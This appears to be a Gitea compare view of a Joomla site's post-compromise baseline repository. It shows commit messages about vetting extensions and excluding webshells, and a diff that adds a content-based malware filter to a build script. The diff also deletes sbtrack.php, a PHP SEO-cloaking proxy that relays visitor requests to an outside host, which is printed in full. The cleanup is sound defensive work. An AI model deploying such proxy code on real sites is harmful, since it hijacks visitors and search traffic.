Compare commits

..

75 Commits

Author SHA1 Message Date
5603690a72 security: purge planted malware from baseline + content-based IOC filter
The "clean" baseline unintentionally shipped ~34 planted webshells/backdoors
plus sbtrack (a third-party SEO-cloaking proxy) and inert scanner probes,
carried in from the vetted-live Helix3 template. They survived because the IOC
safety net keyed on extension ('*.php.json') while the attacker disguised one
webshell under ~20 fake extensions (.inc.json/.phar.json/.php[3-5].json/
.php.json.json) plus plain-.json defacements.

- History rewritten (git filter-repo) to remove all 48 files from every commit.
- build-baseline.sh step 6 is now CONTENT-based: any templates/**/*.json with a
  PHP open tag is dropped (legit Helix3 presets are pure JSON).
- malware-iocs.paths extended with plain-.json defacements, probe artifacts and
  non-.json droppers a content grep cannot key on.

Found by the imrcli HIDS YARA union layer during baseline integration (the
baseline-diff alone would have marked them baseline-match).

Assisted-by: claude-code@claude-opus-4-8
2026-07-16 15:21:49 +02:00
9a585c1439 Merge pull request 'www.archline.hu — clean post-compromise baseline' (#2) from baseline/47 into main
Reviewed-on: #2
2026-07-16 14:40:36 +02:00
8282cd9d9c chore(build): drop unused JMAP variable
jmap.py is an authoring-only tool and is not invoked at build time; remove the
dead variable so the script matches the README.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 13:58:28 +02:00
800b4932d1 docs(readme): clear build guide for the HIDS/verifier side
Front-and-center, runnable steps to produce the baseline: clone
--recurse-submodules, run ./build-baseline.sh, use out/ as the vanilla_ref.
Documents prerequisites (no PHP/network; jmap.py is authoring-only), what out/
contains/excludes, the update workflow (submodule update --remote + rebuild),
and the current common_cadline_libraries/maintenance divergence.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 13:57:47 +02:00
74b12145f2 fix(build): anchor data-dir excludes to root
--exclude='cache/' matched any nested dir named cache (e.g. core
com_cache/views/cache/); anchor cache/tmp/logs/images excludes to the docroot
root so only runtime-data top-level dirs are dropped. Non-malware code residual
now 0 (remaining residual is excluded malware + scan artifacts).

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 13:50:51 +02:00
62bb645679 build(baseline): use submodule content as-is (authoritative), no LF normalize
Live has mixed CRLF/LF and content drift vs the submodule HEADs, so normalizing
would break the currently-matching files. The baseline reflects the authoritative
developer repos; line-ending handling is a verifier concern.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 13:49:14 +02:00
efefce3fd8 feat(cadline): convert common_cadline_libraries + maintenance to submodules
The developer-controlled Cadline repos (cadcommonlib, maintenance) become git
submodules so updates flow through: git submodule update --remote -> build ->
commit new pointers. Pinned to their authoritative HEADs. build-baseline.sh
inits the submodules and normalizes their CRLF to LF (the deploy transform) so
the assembled baseline byte-matches the deployed form. constants.php (live-only
config, not in the repo; carries a DB credential tracked in the credential
inventory) is kept as an overlay (overrides/) per instruction — removal happens
at source later.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 13:47:32 +02:00
e17c6268c5 docs: remove operator-internal (git.illusion.hu) references
This repo lives on the customer Gitea (git.cadline.hu); drop references to the
operator's internal Gitea repos (audit/incident tracker, HIDS verifier) and
describe those generically instead.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 12:14:05 +02:00
00f856ccbb docs(runbook): record final model and verification result
Note the byte-fidelity decisions (cadcommonlib/maintenance as live files not
submodules; public/ excluded as data) and the verification outcome (out/ =
23,578 files, non-malware code residual = 0).

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:42:09 +02:00
4fa771286f build(baseline): finalize generator (packages as deployed, overrides as files)
build-baseline.sh: packages/*/ placed as deployed-layout (reconciled to live
bytes at commit-authoring; jmap authors the pristine commit), overrides/ overlaid
as live files. Final out/ = 23578 clean code files; verified against live:
non-malware code residual = 0 (all residual is excluded malware + scan artifacts).

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:41:04 +02:00
4168b737cc feat(baseline): add remaining legit files (postupdate, isis js, windwalker cli, sbtrack)
Completeness: administrator/postupdate.php + isis/js/_template.js (clean core
files absent from the downloaded package), bin/windwalker (Windwalker CLI),
sbtrack.php (Cadline tracking docroot PHP). All vetted malware-free.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:40:36 +02:00
2dd018c729 feat(cadline): add com_users Cadline additions (recaptcha, easyprofile)
Cadline/JSN additions to com_users: recaptchalib.php (anti-spam), easyprofile.php views (JSN EasyProfile) — only-in-live files not caught by the core-override diff.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:39:03 +02:00
750e3a23e1 feat(deployed): add Advanced Modules site component (completeness)
components/com_advancedmodules (RegularLabs) frontend — completes the module.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:39:02 +02:00
6be21235f1 feat(deployed): add Akeeba site component (completeness)
components/com_akeeba (frontend) — the admin side was added earlier; this completes the module.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:39:02 +02:00
acc3c3df17 feat(overrides): add legit core template files missing from package
beez3 css/js/language + system modal.php/template.php present on live but absent from the downloaded package build; clean core template files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:39:02 +02:00
8067654629 feat(deployed): add shared language, vendor libs, manifests
Cross-extension shared code the baseline was missing: en-GB/hu-HU language (admin+site), libraries/vendor (Composer deps), administrator/manifests (installed-extension metadata). Malware-ext entries and scan artifacts excluded.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:39:01 +02:00
82dd7d89d8 feat(cadline): add Cadline docroot apps + root PHPs
Docroot sub-apps beiratkozas/, iskolak/, phpext/; root PHPs crashadmin.php, crm_hardlock.class.php, login-external.php, tips.php, recaptchalib.php, configuration.php (74-byte MightySites multi-site stub, legit). public/ excluded (user data, ~219k files).

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:34:31 +02:00
edb18f07b5 feat(cadline): add common_cadline_libraries + maintenance backend
common_cadline_libraries (CRM hardlock/db/users classes; upstream cadline_web/cadcommonlib), maintenance/ (ARCHLine.XP license backend; upstream cadline_web/maintenance), maintenance2/. Vetted live files (byte-truth); upstream repos in PROVENANCE.md. NOTE: could be git submodules — kept as live files for byte-fidelity.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:34:30 +02:00
6d8bae854b feat(cadline): add Cadline plugin + templates
plg content/workshopdates; templates blankframe, category. Dropped Tiny File Manager backdoor (templates/category/tiny.php) excluded.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:34:30 +02:00
7012528980 feat(cadline): add Cadline-own modules
11 Cadline-only modules (mod_al_*, mod_alusers, mod_alworkshops, mod_course_list, mod_webinar*, mod_wsregister). Dropped webshells excluded (mod_al_upload/b8.php, mod_course_list/a1.php); legit module bases kept.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:34:30 +02:00
72e39873c0 feat(cadline): add Cadline-own components
9 Cadline-only components (no public upstream): showroom, albanner, alworkshops, followedlinks, nonprofit, presentation, project, tcexam, versions. Vetted live files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:34:29 +02:00
9d7dbafbec feat(overrides): add Cadline core modifications (live versions)
The ~24 legit Cadline customizations on the Joomla core (audit sec.16.1):
reCAPTCHA anti-spam (registration/reset/remind/login flow, captcha rule),
content view tweaks, mod_login template, phpversioncheck. build-baseline.sh
overlays these live versions onto the official-package core so the baseline
matches live for the legit mods, while the 3 trojanized core files stay clean.
NOTE: com_users/controllers/registration.php carries a hardcoded reCAPTCHA
secret (redacted; rotate on cleanup) — see malware-iocs.md.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:32:07 +02:00
47853a8fe6 feat(pkg): add Phoca Commander 3.0.2 (vetted live, stock)
Phoca Commander 3.0.2 (github.com/PhocaCz/PhocaCommander @3.0.2), vetted clean, stock admin file-manager; live deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:30:03 +02:00
79ad04f644 feat(pkg): add RemoteImage 2.0.10 (vetted live, stock)
RemoteImage 2.0.10 (github.com/asikart/remoteimage @2.0.10), vetted clean, stock; live deployed files (upstream ships build-layout — deployed bytes used for verification).

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:30:02 +02:00
511331a97f feat(pkg): reconcile Easy File Uploader to live (Cadline delta)
Reconcile to live bytes. Diff vs pristine = Cadline modification (ARCHLine.XP 2024 Rendering contest upload form, ~3 files) + version drift/line-endings.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:30:02 +02:00
b5e99fdf47 feat(pkg): add Easy File Uploader (pristine upstream)
Pristine Easy File Uploader manifest-mapped from github.com/ollily/easyfileuploader via lib/jmap.py (upstream master; installed 2.7.8).

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:30:02 +02:00
9ad18f2d14 feat(pkg): reconcile Phoca Download to live (Cadline delta)
Reconcile to live bytes. Diff vs pristine = Cadline modifications (trial-download flow, Hungarian routes, DB query — ~10 files per audit) + line-endings/install files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:30:02 +02:00
2563f54f83 feat(pkg): add Phoca Download 3.1.2 (pristine upstream)
Pristine Phoca Download 3.1.2 manifest-mapped from github.com/PhocaCz/PhocaDownload @3.1.2 via lib/jmap.py.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:30:01 +02:00
556dd4cdc0 feat(pkg): reconcile OneAll to live bytes (Cadline CRM delta)
Reconcile to the vetted live deployed files (byte-truth for HIDS verification). The diff vs the previous commit is the full delta from pristine upstream: line-endings, Joomla-deployed install files, and the Cadline CRM integration in the system plugin (+ default.php blankframe branch). Vetted malware-free; SQLi code-quality follow-up noted in PROVENANCE.md.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:29:08 +02:00
a32ef4a815 feat(pkg): add OneAll Social Login 5.5.0 (pristine upstream)
Pristine OneAll 5.5.0 manifest-mapped from github.com/oneall/social-login-joomla @5.5.0 via lib/jmap.py to deployed layout. The next commit reconciles to the live bytes; the diff is the full delta vs upstream (line-endings + install files + Cadline CRM modification).

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:29:07 +02:00
a9eeddbc3b build(baseline): add lib/jmap.py Joomla manifest-mapper + tests
Generic Joomla 3.x manifest -> deployed-path mapper (component/module/plugin/
library/template/package), used to author the pristine (upstream) commit of a
packages/<slug> module before it is reconciled to the live bytes. 18/18 tests
green; ruff/mypy-strict clean.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:27:45 +02:00
e905b51c4e feat(deployed): add trada template 1.0 (no-source, vetted live)
trada template (saihoai); the dropped webshell html/mod_articles_category/meant.php is excluded; unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:53 +02:00
3a45537dfe feat(deployed): add _theme3037 template 3.0 (no-source, vetted live)
_theme3037 template (TemplateMonster.com); unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:53 +02:00
d3e7422d2d feat(deployed): add XEF library 1.4.4 (no-source, vetted live)
XEF library (Parvez Akther); unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:53 +02:00
f6bac67e3a feat(deployed): add P3P plugin (no-source, vetted live)
P3P system plugin (Joomla! Project label, no manifest version); unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:53 +02:00
ccc70a13de feat(deployed): add TM Lazy Load 1.2.1 (no-source, vetted live)
TM Lazy Load system plugin (Template Monster); unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:53 +02:00
dc45f5f5aa feat(deployed): add ExtBlank 1.0 (no-source, vetted live)
ExtBlank system plugin (Convergence Services); unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:52 +02:00
51499123fb feat(deployed): add EU Cookie Directive Lite 1.1.1 (no-source, vetted live)
EU Cookie Directive Lite system plugin (Channel Digital); unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:52 +02:00
9c29c2ea3e feat(deployed): add MooTable 1.1.3 (no-source, vetted live)
MooTable system plugin (Roberto Segura); unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:52 +02:00
eac85b2c01 feat(deployed): add Fancybox 1.3.6 (no-source, vetted live)
Fancybox system plugin (Yireo); unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:52 +02:00
ce544166a6 feat(deployed): add SocialNetworks 1.1.3 (no-source, vetted live)
SocialNetworks (eMediaCom): authentication + user plugins + library; unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:52 +02:00
d504c742e6 feat(deployed): add JoomlaWorks Simple Image Gallery 3.6.0 (no-source, vetted live)
JoomlaWorks Simple Image Gallery content plugin; unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:52 +02:00
31e461c23c feat(deployed): add JoomlaWorks AllVideos 4.8.0 (no-source, vetted live)
JoomlaWorks AllVideos content plugin; unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:51 +02:00
6a96a3e84d feat(deployed): add YouTubeR plugin (no-source, vetted live)
YouTubeR (ZyX): system plugin 1.49 + editors-xtd button 1.41; unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:51 +02:00
e3307720dc feat(deployed): add mod_helloworld 1.0.0 (no-source, vetted live)
mod_helloworld sample module (Tutorials Point tutorial sample) -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:51 +02:00
b2046e464c feat(deployed): add mod_ppc_simple_spotlight 3.1 (no-source, vetted live)
mod_ppc_simple_spotlight module (Pixel Point Creative); unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:51 +02:00
17915a0582 feat(deployed): add mod_image_split_view (no-source, vetted live)
mod_image_split_view module; no manifest version, unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:51 +02:00
e433f392c2 feat(deployed): add mod_caroufredsel 1.2.3 (no-source, vetted live)
mod_caroufredsel module; unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:51 +02:00
6ab09f98d9 feat(deployed): add mod_login2 3.0.0 (no-source, vetted live)
mod_login2 module (mislabeled Joomla! Project); unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:50 +02:00
1a72af3e11 feat(deployed): add mod_estore 3.0.0 (no-source, vetted live)
mod_estore module (mislabeled Joomla! Project); unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:50 +02:00
bf4b0b1b3d feat(deployed): add mod_articles_news_adv 1.5.5 (no-source, vetted live)
mod_articles_news_adv module (mislabeled Joomla! Project); unmapped clone -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:50 +02:00
4a208fb3bd feat(deployed): add mod_sp_simple_gallery 3.0 (no-source, vetted live)
SP Simple Gallery module (JoomShaper); unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:50 +02:00
0ad6755db1 feat(deployed): add mod_sp_quickcontact 1.4 (no-source, vetted live)
SP Quick Contact module (JoomShaper); unmapped -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:50 +02:00
b4d7123e1b feat(deployed): add mod_joombig_notebook_flip_nice 1.1 (no-source, vetted live)
Joombig Notebook Flip module (joombig.com); no authentic source -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:50 +02:00
a03a4b00dd feat(deployed): add mod_flippingbook 2.1.1 (no-source, vetted live)
FlippingBook module (eucoders.com); vendor unverified -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:50 +02:00
e9e7c6c0ab feat(deployed): add mod_anycode 3.0 (no-source, vetted live)
AnyCode module (Hyde-Design); vendor unverified -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:49 +02:00
ffaaffc16b feat(deployed): add mod_xpertscroller 3.10-1 (no-source, vetted live)
XpertScroller module (ThemeXpert); registration-gated vendor -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:49 +02:00
e94895afa5 feat(deployed): add mod_ut_joomstagram 1.2.0 (no-source, vetted live)
UT Joomstagram module (Unitemplates.com); registration-gated vendor -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:49 +02:00
a48f64e90e feat(deployed): add mod_mx_timeline 4.0.3 (no-source, vetted live)
MX Timeline module (mixwebtemplates); no identifiable source -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:49 +02:00
32592feea0 feat(deployed): add mod_jux_timeline 1.0.1 (no-source, vetted live)
JUX Timeline module (JoomlaUX); registration-gated vendor -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:49 +02:00
37c4e00e1b feat(deployed): add mod_jflickr 1.4.2 (no-source, vetted live)
jFlickr module (Joomla Bamboo); vendor unverified -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:49 +02:00
872811d9a1 feat(deployed): add mod_os_touchslider 3.6.1 (no-source, vetted live)
OS Touch Slider module + ajax plugin (OrdaSoft); registration-gated vendor -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:49 +02:00
5b9abb06f8 feat(deployed): add mod_bt_googlemaps 2.1.0 (no-source, vetted live)
BT Google Maps module (BowThemes); registration-gated vendor -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:48 +02:00
12b8876503 feat(deployed): add mod_ol_k2timeline 4.0.2 (no-source, vetted live)
OL K2 Timeline module (olwebdesign); no identifiable upstream -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:48 +02:00
b6c9da67eb feat(deployed): add Helix3 2.5.5 (no-source, vetted live)
Helix3 (JoomShaper) template + system/ajax plugins; the live templates/shaper_helix3/index.php was fbwjedi-cloaking-infected and is replaced with the clean monolith copy -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:48 +02:00
126df0f9f2 feat(deployed): add Image Swoop 1.2.5 (no-source, vetted live)
Image Swoop module (Template Monster) -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:48 +02:00
e15c68261a feat(deployed): add IceMegaMenu (no-source, vetted live)
IceMegaMenu (IceTheme, mod 3.0.1 / plg 3.0.0) -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:47 +02:00
92e89cbb02 feat(deployed): add SP Easy Image Gallery 1.0 (no-source, vetted live)
SP Easy Image Gallery (JoomShaper); no version-matching upstream package -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:47 +02:00
0233f2db81 feat(deployed): add Social Login and Social Share 4.0 (no-source, vetted live)
Social Login and Social Share (LoginRadius); repo deleted after CIAM pivot -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:47 +02:00
7030c058c7 feat(deployed): add Slideshow CK (no-source, vetted live)
Slideshow CK (Cedric Keiflin, com 2.5.2 / mod 2.5.0); vendor login-gated -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:47 +02:00
a8e6138d0d feat(deployed): add Smart Shoutbox 3.0.6 (no-source, vetted live)
Smart Shoutbox (The Krotek); no repo -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:46 +02:00
6172b965f9 feat(deployed): add Smart Countdown 3 (no-source, vetted live)
Smart Countdown 3 (Alex Polonski, com 3.4.5 / mod 3.4.7); no repo -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:46 +02:00
bb1c28ae0c feat(deployed): add TF Learn 1.7.5 (no-source, vetted live)
TF Learn (Tech Fry) + techfry library 1.3.4; login-gated, no repo -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:46 +02:00
1097812b20 feat(deployed): add Jumi 3.0.5 (no-source, vetted live)
Jumi (Edvard Ananyan); business closed, no clean J3 upstream -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:45 +02:00
62e29d6343 feat(deployed): add JSN / JoomlaShine 2.5.6 (no-source, vetted live)
JSN / JoomlaShine (JSN Project) component + framework + modules + plugins; vendor closed in 2021 -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:45 +02:00
50 changed files with 48 additions and 515 deletions

View File

@ -73,11 +73,27 @@ fi
# the live divergence until live is re-deployed or the drift is reconciled. # the live divergence until live is re-deployed or the drift is reconciled.
# Line-ending normalization is intentionally left to the verifier, not applied here. # Line-ending normalization is intentionally left to the verifier, not applied here.
# 6) Safety net — malware IOC + scan artifacts must never appear in the baseline # 6) Safety net — CONTENT-based malware exclusion. The constituent sources above
# (the sources above already exclude them; this is defensive, documented in # are vetted clean, but this catches a planted file regardless of its extension
# malware-iocs.md / malware-iocs.paths). # disguise. The 2026 incident planted one webshell under ~20 fake extensions
log "exclude: malware IOC + scan artifacts" # (.inc.json / .phar.json / .php[3-5].json / .php.json.json) plus plain-.json
# defacements — an extension allowlist (the old '*.php.json' filter) missed ALL
# of them. The robust signal is CONTENT, not extension.
log "exclude: content-based malware safety net"
# (a) Any .json under templates/ carrying a PHP open tag is NOT a legit Helix3
# layout preset (those are pure JSON) — it is a disguised dropper. This closes
# the .json-disguise gap deterministically.
if [ -d "$OUT/templates" ]; then
find "$OUT/templates" -type f -name '*.json' 2>/dev/null | while IFS= read -r j; do
if grep -Ilq -m1 -E '<\?php|<\?=' "$j" 2>/dev/null; then
log " drop (php-in-json): ${j#"$OUT"/}"; rm -f "$j"
fi
done
fi
# (b) Legacy extension patterns (belt-and-suspenders; harmless if already gone).
find "$OUT" \( -name '*.php.json' -o -name '*.phtml.json' -o -name 'h3x_*' -o -name '_h3x_*' \) -delete 2>/dev/null || true find "$OUT" \( -name '*.php.json' -o -name '*.phtml.json' -o -name 'h3x_*' -o -name '_h3x_*' \) -delete 2>/dev/null || true
# (c) Explicit IOC path list (docroot-relative) — the plain-.json defacements,
# probe artifacts and non-.json droppers that a content grep cannot key on.
if [ -f "$ROOT/malware-iocs.paths" ]; then if [ -f "$ROOT/malware-iocs.paths" ]; then
while IFS= read -r ioc; do while IFS= read -r ioc; do
[ -z "$ioc" ] && continue [ -z "$ioc" ] && continue

View File

@ -1,114 +0,0 @@
<?php
$cURL = isset($_GET['curl']) ? 1 : 0;
define('MT_RELEASE', '1.0');
define('MT_CURL_OK', ($cURL && in_array('curl', get_loaded_extensions())));
define('MT_TIMEOUT', 10);
define('MT_ERR', !empty($_GET['err']));
if (isset($_GET['mtnotrk'])) {
die();
}
if (MT_ERR) {
error_reporting(E_ALL);
ini_set('display_errors', 'On');
}
else {
error_reporting(0);
}
if (basename(__FILE__) == 'mytracking.php') {
die('For your safety: you should really change the name of this file');
}
if (!empty($_GET['test'])) {
die("OK: ".MT_RELEASE);
}
$hop = isset($_GET['hop']) ? $_GET['hop'] : '';
process_content(retrieve_content(calculate_url($hop)));
exit;
function calculate_url($link) {
$returnurl = '';
if ($link == '') {
$returnurl = 'http://trkapi.com/mytrackingok.gif';
} else if ((preg_match("/.+/", $link))) {
$src = array('/m/', '/r/', '/l/');
$rpl = array('', '/', '/');
$link = str_replace($src, $rpl, $link);
$returnurl = 'http://trkapi.com/' . $link; // 2.0 format
}
return $returnurl;
}
function retrieve_content($url) {
$response = '';
$mt_errstr = '';
$agent = 'MyTracking/'.MT_RELEASE;
$refr = ($_SERVER['SERVER_PORT'] == 443) ? 'https' : 'http';
$refr .= '://';
$refr .= $_SERVER['HTTP_HOST'];
$refr .= $_SERVER['REQUEST_URI'];
if ($url != '') {
if (MT_CURL_OK) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_REFERER, $refr);
curl_setopt($ch, CURLOPT_TIMEOUT, MT_TIMEOUT);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
if (!$response = curl_exec($ch)) {
$mt_errstr = curl_errno($ch).' '.curl_error($ch);
}
curl_close($ch);
}
else {
$parts = parse_url($url);
$scheme = isset($parts['scheme']) ? $parts['scheme'] : 'http';
$host = isset($parts['host']) ? $parts['host'] : 'trkapi.com';
$port = isset($parts['port']) ? $parts['port'] : 80;
$path = isset($parts['path']) ? $parts['path'] : '/';
$query = isset($parts['query']) ? $parts['query'] : '';
if ($fp = fsockopen ($host, $port, $errno, $errstr, MT_TIMEOUT)) {
$agent = 'MyTracking/'.MT_RELEASE;
fputs ($fp, "GET $path?$query HTTP/1.0\r\nHost: $host\r\nUser-Agent: $agent\r\nReferer: $refr\r\n\r\n");
while (!feof($fp)) {
$response .= fgets ($fp,128);
}
fclose ($fp);
}
else {
$response = false;
$mt_errstr = $errno.' '.$errstr;
}
}
}
if ($response === false) {
if (MT_ERR) {
echo $mt_errstr;
}
else {
header("Location: /?mtnotrk=1");
exit;
}
}
else {
return $response;
}
}
function process_content($pagecontent) {
if ($pagecontent != '') {
list($headers, $body) = explode("\r\n\r\n", $pagecontent, 2);
$headerlines = explode("\r\n", $headers);
foreach ($headerlines as $header) {
if (preg_match("/^HTTP|Location:|Vary:|Content-Length:|Content-Type:/i", $header)) {
header($header);
}
}
echo $body;
}
}

View File

